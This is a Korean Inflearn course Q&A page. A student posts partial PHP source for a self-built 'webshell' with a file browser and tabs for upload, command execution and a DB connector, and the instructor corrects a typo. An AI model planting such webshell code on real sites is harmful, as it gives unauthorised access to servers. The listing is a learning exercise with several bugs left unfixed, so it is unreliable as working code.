inflearn logo
강의

講義

知識共有

Skill-Up!

질문 있어요! 제발 해결해주세요

解決済みの質問

270

작성자 없음

投稿した質問数 0

2

이 소스로 실행 해보면 

Name,Type,Date,Action 부분 태이블에 아무것도 안 떠요

__________소스___________

<?
    header("Content-Type: text/html; charset=UTF-8");
    $mode = $_REQUEST["mode"];
    $path = $_REQUEST["path"];
    $page = basename($_SERVER["PHP_SELF"]);

    if(empty($path)){
        $tempFileName = basename(__FILE__);
        $tempPath = realpath(__FILE__);
        $path = str_replace($tempFileName, "", $tempPath);
        $path = str_replace("\\", "/", $path);
    } else {
        $path = realpath($path)."/";
        $path = str_replace("\\", "/", $path);
    }

    # Dir list retuurn function
    function getDirList($getPath) {
        $listArr = array();
        $handler = opendir($getPath);
        while($file = readdir($handler)) {
            if(is_dir($getPath.$file) == "1") {
                $listArr[] = $file;
            }
        }
        closedir($handler);
        return $listArr;
    }

    #File List return function
    function getFileList($getPath) {
        $listArr = array();
        $handler = opendir($getPath);
        while($file = readdir($handler)) {
            if(is_dir($getPath.$file) != "1") {
                $listArr[] = $file;
            }
        }
        closedir($handler);
        return $listArr;
    }
?>
<!DOCTYPE html>
<html lang="ko">
<head>
    <title>Space_Pig; webshell</title>
    <!-- 합쳐지고 최소화된 최신 CSS -->
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
    
    <!-- 부가적인 테마 -->
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css">
    
    <!-- 합쳐지고 최소화된 최신 자바스크립트 -->
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container-fluid">
    <div class="row">
    <div class="col-md-3"></div>
    <div class="col-md-6">
        <h3>Webshell <small>Create by space_pig;</small></h3>
        <hr>
        <ul class="nav nav-tabs">
        <li role="presentation" <?if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li>
        <li role="presentation" <?if($mode == "fileUpload") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileupload">File upload</a></li>
        <li role="presentation" <?if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execustion</a></li>
        <li role="presentation" <?if($mode == "db") echo "class=\"active\"";?>><a href="<?=$page?>?mode=db">DB connector</a></li>
        <li role="presentation"><a href="<?=$page?>?mode=logout">Logout</a></li>
        </ul>
        <br>
        <? if(empty($mode) || $mode == "fileBrowser") { ?>
        <form action="<?=$page?>?mode=fileBrowser" metho="GET">
            <div class="input-group">
            <span class="input-group-addon">Current Path</span>
            <input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>">
            <span class="input-group-btn">
            <button class="btn btn-default" type="submit">Move</button>
            </span>
            </div>
        </form>
        <hr>
        <div class="table-responsive">
        <table class="table table-bordered table-hover"style="table-layout: fixed; word-break: break-all;">
            <thead>
                <tr class="active">
                    <th style="width: 50%" class="text-center">Name</th>
                    <th style="width: 14%" class="text-center">Type</th>
                    <th style="width: 18%" class="text-center">Date</th>
                    <th style="width: 18%" class="text-center">Action</th>
                </tr>
            </thead>
            <tbody>
                <?
                $dirList = getDirList($path);
                for($i=0; $i<count($dirList); $i++) {
                    if($dirList[$i] != ".") {
                    $dirDate = date("Y-m-d H:i", filetime($path.$dirList[$i]))
                ?>
                <tr>
                    <td style="vertical-align: middle"><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span>%nbsp;%nbsp;<?=$dirList[$i]?></td>
                    <td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td>
                    <td style="vertical-align: middle" class="text-center"><?=$dirDate?></td>
                    <td style="vertical-align: middle"  class="text-center">
                        <? if($dirList[$i] != "..") { ?>
                        <div class="btn-group btn-group-sm" role="group" aria-label="">
                        <button type="button" class="btn btn-danger" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>
                        </div>
                        <? } ?>
                    </td>      
                </tr>
                <?
                    }
                }
                ?>
                <?
                $fileList = getFileList($path);
                for($i=0; $i<count($fileList); $i++); {
                    $fileDate = date("Y-m-d H:i", filemtime($path.$dirList[$i]));
                ?>
                <tr>
                    <td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td>
                    <td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td>
                    <td style="vertical-align: middle" class="text-center"><?=$fileDate?></td>
                    <td style="vertical-align: middle"  class="text-center">
                        <div class="btn-group btn-group-sm" role="group" aria-label="">
                        <button type="button" class="btn btn-info" title="File Download"><span class="glyphicon glyphicon-save" aria-hidden="true"></span></button>
                        <button type="button" class="btn btn-warning" title="File Modify"><span class="glyphicon glyphicon-wrench" aria-hidden="true"></span></button>
                        <button type="button" class="btn btn-danger" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>
                        </div>
                    </td>      
                </tr>
                <? } ?>
            </tbody>
        </table>
        </div>
        <? }?>

        <hr>
        <p class="text-muted text-center">Copyrightⓒ 2021, Space_pig, ALL rights reserved.</p>
    </div>
    <div class="col-md-3"></div>
    </div> 
</div>
</body>
</html>

웹쉘 질문 bootstrap 크리핵티브 웹셸

回答 1

1

crehacktive

안녕하세요. 소스코드에 오류가 있습니다.

1. 적용된 소스코드

$dirDate = date("Y-m-d H:i", filetime($path.$dirList[$i]))

=> 세미콜론도 없고, filetime 함수가 잘못됨.

2, 수정된 소스코드

$dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i]));

 

이렇게 한번 적용을 해보세요 ㅎ

 

 

 

0

spacepig

감사합니다!!

교재 있나요? 서브 노트 있나요?

0

60

1

라이브 질문있어유

0

65

1

수강기간을 무제한으로 변경부탁드립니다.

0

71

2

Dockerfile 질문

0

76

2

로그인 오류

0

74

2

services-col mx-2 my-3

0

62

2

수강기간이 무제한이된건가요?

0

113

2

단축키 질문

0

57

1

docker-compose down 안되는 현상

0

182

2

npm run dev-watch 오류

0

78

1

강의 내용을 어느 정도로 파악하고 있는 것이 좋을까요?

1

119

2

Logging 질문

0

126

1

db.json 문제 해결후 조회버튼을 누르면 테이블이 형성이 안됨

0

86

1

cd json-server와 json-server --watch db.json 오류

0

93

1

Bitnami WAMP 단종

0

458

1

파일내용 수정이 잘 안됩니다.

0

378

1

안녕하세요 문제가 생겨서 질문드립니다.

1

326

1

파일, 폴더 삭제, 파일다운로드, 파일 수정이 안됩니다.

1

338

1

fileModify버튼 클릭시 문의

1

316

1

죄송합니다;; 또 에러가 나네요(해결해주세요.)

2

393

3

질문

1

184

1

500 error

1

316

2

질문있습니다~

1

271

2

좋은 강의 감사합니다~

1

302

1